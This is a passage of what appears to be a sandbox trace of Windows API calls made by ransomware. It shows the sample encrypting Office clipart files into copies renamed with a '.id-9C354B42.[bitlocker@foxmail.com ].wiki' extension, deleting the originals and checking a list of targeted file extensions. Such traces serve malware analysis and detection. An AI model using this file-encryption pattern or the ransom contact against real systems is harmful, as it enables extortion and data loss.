lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.912] SetEndOfFile (hFile=0x1a4) returned 1 [0060.912] CloseHandle (hObject=0x1a4) returned 1 [0060.912] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.912] SetEndOfFile (hFile=0x200) returned 1 [0060.913] CloseHandle (hObject=0x200) returned 1 [0060.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0060.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0060.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0060.913] lstrlenW (lpString=".doc") returned 4 [0060.913] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.913] lstrlenW (lpString=".docx") returned 5 [0060.913] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.913] lstrlenW (lpString=".pdf") returned 4 [0060.913] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.913] lstrlenW (lpString=".xls") returned 4 [0060.913] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.913] lstrlenW (lpString=".xlsx") returned 5 [0060.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.913] lstrlenW (lpString=".ppt") returned 4 [0060.913] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0060.913] lstrlenW (lpString=".zip") returned 4 [0060.914] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.914] lstrlenW (lpString=".rar") returned 4 [0060.914] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.914] lstrlenW (lpString=".bz2") returned 4 [0060.914] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.914] lstrlenW (lpString=".7z") returned 3 [0060.914] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0060.914] lstrlenW (lpString=".dbf") returned 4 [0060.914] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0060.914] lstrlenW (lpString=".1cd") returned 4 [0060.914] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0060.914] lstrlenW (lpString=".jpg") returned 4 [0060.914] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0060.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0060.914] lstrlenW (lpString=".doc") returned 4 [0060.914] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.914] lstrlenW (lpString=".docx") returned 5 [0060.914] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.914] lstrlenW (lpString=".pdf") returned 4 [0060.914] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.914] lstrlenW (lpString=".xls") returned 4 [0060.914] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.914] lstrlenW (lpString=".xlsx") returned 5 [0060.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.914] lstrlenW (lpString=".ppt") returned 4 [0060.914] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0060.914] lstrlenW (lpString=".zip") returned 4 [0060.914] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.914] lstrlenW (lpString=".rar") returned 4 [0060.915] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.915] lstrlenW (lpString=".bz2") returned 4 [0060.915] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.915] lstrlenW (lpString=".7z") returned 3 [0060.915] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0060.915] lstrlenW (lpString=".dbf") returned 4 [0060.915] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0060.915] lstrlenW (lpString=".1cd") returned 4 [0060.915] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0060.915] lstrlenW (lpString=".jpg") returned 4 [0060.915] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.915] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.915] lstrlenW (lpString="AG00172_.GIF") returned 12 [0060.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.916] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4390) returned 1 [0060.916] CloseHandle (hObject=0x200) returned 1 [0060.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0060.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.916] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.916] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.923] GetLastError () returned 0x0 [0060.923] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x1126, lpOverlapped=0x0) returned 1 [0060.925] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1130, lpOverlapped=0x0) returned 1 [0060.926] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.926] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.926] SetEndOfFile (hFile=0x1a4) returned 1 [0060.927] CloseHandle (hObject=0x1a4) returned 1 [0060.927] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.927] SetEndOfFile (hFile=0x200) returned 1 [0060.927] CloseHandle (hObject=0x200) returned 1 [0060.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0060.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0060.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0060.928] lstrlenW (lpString=".doc") returned 4 [0060.928] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.928] lstrlenW (lpString=".docx") returned 5 [0060.928] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.928] lstrlenW (lpString=".pdf") returned 4 [0060.928] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.928] lstrlenW (lpString=".xls") returned 4 [0060.928] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.928] lstrlenW (lpString=".xlsx") returned 5 [0060.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.928] lstrlenW (lpString=".ppt") returned 4 [0060.929] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0060.929] lstrlenW (lpString=".zip") returned 4 [0060.929] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.929] lstrlenW (lpString=".rar") returned 4 [0060.929] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.929] lstrlenW (lpString=".bz2") returned 4 [0060.929] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.929] lstrlenW (lpString=".7z") returned 3 [0060.929] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0060.929] lstrlenW (lpString=".dbf") returned 4 [0060.929] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0060.929] lstrlenW (lpString=".1cd") returned 4 [0060.929] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0060.929] lstrlenW (lpString=".jpg") returned 4 [0060.929] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0060.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0060.929] lstrlenW (lpString=".doc") returned 4 [0060.929] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.929] lstrlenW (lpString=".docx") returned 5 [0060.929] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.929] lstrlenW (lpString=".pdf") returned 4 [0060.930] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.930] lstrlenW (lpString=".xls") returned 4 [0060.930] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.930] lstrlenW (lpString=".xlsx") returned 5 [0060.930] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.930] lstrlenW (lpString=".ppt") returned 4 [0060.930] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0060.930] lstrlenW (lpString=".zip") returned 4 [0060.930] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.930] lstrlenW (lpString=".rar") returned 4 [0060.930] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.930] lstrlenW (lpString=".bz2") returned 4 [0060.930] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.930] lstrlenW (lpString=".7z") returned 3 [0060.930] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0060.930] lstrlenW (lpString=".dbf") returned 4 [0060.930] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0060.930] lstrlenW (lpString=".1cd") returned 4 [0060.930] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0060.930] lstrlenW (lpString=".jpg") returned 4 [0060.930] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.931] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.931] lstrlenW (lpString="AG00175_.GIF") returned 12 [0060.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.931] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=3378) returned 1 [0060.931] CloseHandle (hObject=0x200) returned 1 [0060.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0060.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.931] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.931] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.932] GetLastError () returned 0x0 [0060.932] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0xd32, lpOverlapped=0x0) returned 1 [0061.047] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xd40, lpOverlapped=0x0) returned 1 [0061.171] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.174] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.176] SetEndOfFile (hFile=0x1a4) returned 1 [0061.196] CloseHandle (hObject=0x1a4) returned 1 [0061.197] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.197] SetEndOfFile (hFile=0x200) returned 1 [0061.197] CloseHandle (hObject=0x200) returned 1 [0061.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0061.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0061.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0061.198] lstrlenW (lpString=".doc") returned 4 [0061.198] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.198] lstrlenW (lpString=".docx") returned 5 [0061.198] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.198] lstrlenW (lpString=".pdf") returned 4 [0061.198] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.198] lstrlenW (lpString=".xls") returned 4 [0061.198] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.198] lstrlenW (lpString=".xlsx") returned 5 [0061.198] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.198] lstrlenW (lpString=".ppt") returned 4 [0061.198] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0061.198] lstrlenW (lpString=".zip") returned 4 [0061.198] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.198] lstrlenW (lpString=".rar") returned 4 [0061.198] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.198] lstrlenW (lpString=".bz2") returned 4 [0061.198] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.198] lstrlenW (lpString=".7z") returned 3 [0061.198] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0061.198] lstrlenW (lpString=".dbf") returned 4 [0061.199] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0061.199] lstrlenW (lpString=".1cd") returned 4 [0061.199] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0061.199] lstrlenW (lpString=".jpg") returned 4 [0061.199] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0061.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0061.199] lstrlenW (lpString=".doc") returned 4 [0061.199] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.199] lstrlenW (lpString=".docx") returned 5 [0061.199] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.199] lstrlenW (lpString=".pdf") returned 4 [0061.199] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.199] lstrlenW (lpString=".xls") returned 4 [0061.199] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.199] lstrlenW (lpString=".xlsx") returned 5 [0061.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.199] lstrlenW (lpString=".ppt") returned 4 [0061.199] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0061.199] lstrlenW (lpString=".zip") returned 4 [0061.199] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.199] lstrlenW (lpString=".rar") returned 4 [0061.199] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.199] lstrlenW (lpString=".bz2") returned 4 [0061.199] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.199] lstrlenW (lpString=".7z") returned 3 [0061.199] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0061.199] lstrlenW (lpString=".dbf") returned 4 [0061.199] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0061.200] lstrlenW (lpString=".1cd") returned 4 [0061.200] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0061.200] lstrlenW (lpString=".jpg") returned 4 [0061.200] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.200] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.200] lstrlenW (lpString="AN01545_.WMF") returned 12 [0061.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0061.200] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=7372) returned 1 [0061.200] CloseHandle (hObject=0x200) returned 1 [0061.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0061.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0061.201] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.201] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.201] GetLastError () returned 0x0 [0061.201] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x1ccc, lpOverlapped=0x0) returned 1 [0061.218] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1cd0, lpOverlapped=0x0) returned 1 [0061.219] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.219] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.220] SetEndOfFile (hFile=0x1a4) returned 1 [0061.220] CloseHandle (hObject=0x1a4) returned 1 [0061.220] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.220] SetEndOfFile (hFile=0x200) returned 1 [0061.221] CloseHandle (hObject=0x200) returned 1 [0061.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 